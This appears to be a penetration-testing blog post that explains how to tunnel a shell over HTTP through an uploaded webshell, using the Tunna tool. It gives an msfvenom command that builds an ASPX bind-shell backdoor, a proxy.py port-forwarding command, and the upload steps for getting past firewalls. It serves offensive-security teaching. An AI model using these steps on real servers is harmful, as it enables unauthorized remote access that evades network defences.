- Webshell on a webserver
What do you do when you have exploited this webserver and really want an interactive shell, but the network has zero open ports and the only way in is through http port 80 on the webserver you’ve exploited? The answer is simple. Tunnel your traffic inside HTTP using the existing webserver.
We previously have had this issue and had some messy solutions and sometimes just an open port by luck. Therefore we wanted a more generic approach that could be reused everytime we have a webshell.
We started writing our tool called
webtunfwd which did what we wanted. It listened on a local port on our attacking machine and then when we connected to the local port, it would then post whatever was inside
socket.recv to a webserver with a
POST request. The webserver would then take whatever was sent inside this
POST request and feed it into the socket connection on the victim.
Note: The diagram below is taken from the Tunna project’s github
So this is a little walkthrough on what happens:
- Attacker uploads
webtunfwd.phpto victim which is now placed on
- Attacker uploads his malware and/or a meterpreter bindshell which listens on
- Victim is now listening on
- Attacker calls
webtunfwd.php?brokerwhich connects to
localhost:20000and keeps the connection open.
webtunfwd.php?brokerreads from socket and writes it to a tempfile we’ll call
webtunfwd.php?brokerreads from a tempfile we’ll call
in.tmpand writes it to the socket
Great. Now we have
webtunfwd.php?broker which handles the socket connection on the victim side and keeps it open forever.
We now need to write and read from the two files
out.tmp respectively, down to our attacking machine.
This is handeled by our python script
- Attacker runs
local.pyon his machine which listens on the port
- Attacker now connects with the meterpreter client to
local.pyrecieves the connection it creates 2 threads. One for read and one for write
- The read thread reads from socket and writes to
in.tmpby creating a POST request with the data to
- The write thread reads from
out.tmpby creating a GET request to
webtunfwd.php?readand writes to the socket
So with this code we now have a dynamic port forwarding through HTTP and we can run whatever payload on the server we want.
But after writing this tool we searched google a little and found that a tool called
Tunna was written for this exact purpose by a company called SECFORCE.
So instead of reinventing the wheel by posting our own tool that didn’t get nearly as much love as the
Tunna project did we’re going to show how
Tunna is used in action with a bind shell.
- Victim -> Windows 2012 server
- Attacker -> Some Linux Distro
- Ability to upload a shell to a webserver
Setting up Tunna
The first thing we need to do in order to setup
Tunna is to clone the git repository.
On the attacking machine run:
git clone https://github.com/SECFORCE/Tunna
In this project we have quite some files. The ones we are going to use are
proxy.py and then the contents of
In order for Tunna to work we are first going to upload the webshell that will handle the proxy connection/port forwarding to the victim machine
webshells folder you’ll find
conn.aspx - Use whatever method or vulnerability you are exploiting to get it onto the machine.
As for now we’re going to assume that the shell
conn.aspx is placed on
Tunna is now setup and ready to use
Generating a payload
We’re now going to generate our backdoor which is a simple shell via metasploit.
The shell is going to listen on
localhost:12000 which could be any port on localhost as we’ll connect to it through
As we want to run our shell on a windows server running ASPX, we are going to build our backdoor in ASPX format with the use of
We use the following command:
msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST=127.0.0.1 -f aspx --out shell.aspx
-pPayload to use
LPORTwhat port to listen on, on target
LHOSTthe IP of where we are listening
-fthe output format of the payload
--outwhere to save the file
After running this command we should now have
In the same way that we uploaded
conn.aspx we should upload
So now we assume that you have the following two files available:
Launching the attack
So everything is setup.
Tunna is uploaded to the server and we have our backdoor ready.
The first thing we’re going to do is go to
We can now see that our shell is listening on port 12000 on our attacking machine after running a
Now we go to our attacking machine.
We need two things for connecting. The first is our
proxy.py from Tunna, and the next is our metasploit console for connecting.
First we forward the local port 10000 to port 12000 on the remote host with the following command:
python proxy.py -u https://target.com/conn.aspx -l 10000 -r 12000 -v --no-socks
-u- The target url with the path to the webshell uploaded
-l- The local port to listen on, on the attacking machine
-r- The remote port to connect to, on the victim machine
--no-socks- Do not create a socks proxy. Only port forwarding needed
The output will look like the following when it awaits connections:
The attacking machine now listens locally on port 10000 and we can connect to it through metasploit
In order to do this we configure metasploit the following way:
And after that is done we enter
run. We should now get a shell:
The Tunna status terminal will look like this:
A full TCP connection wrapped in HTTP in order to evade strict firewalls and the like. We could’ve exchanged our normal shell with anything we wanted to as
Tunna simply forwards the port for us.
Performance suggestions for projects like Tunna
We’ve experienced with some performance upgrades to the tunna project. One thing that we did not like was the amount of HTTP GET/POST requests sent to and from the server.
Our solution to this was to use
Transfer-encoding: Chunked. This enabled us to open a
GET request and recieve bytes whenever ready and then wait for the next read from the socket without ever closing the
We researched many ways to do this over
POST, towards the server but we could’nt seem to circumvent that web servers like
apache had some internal buffering on chunks retrieved, that was set to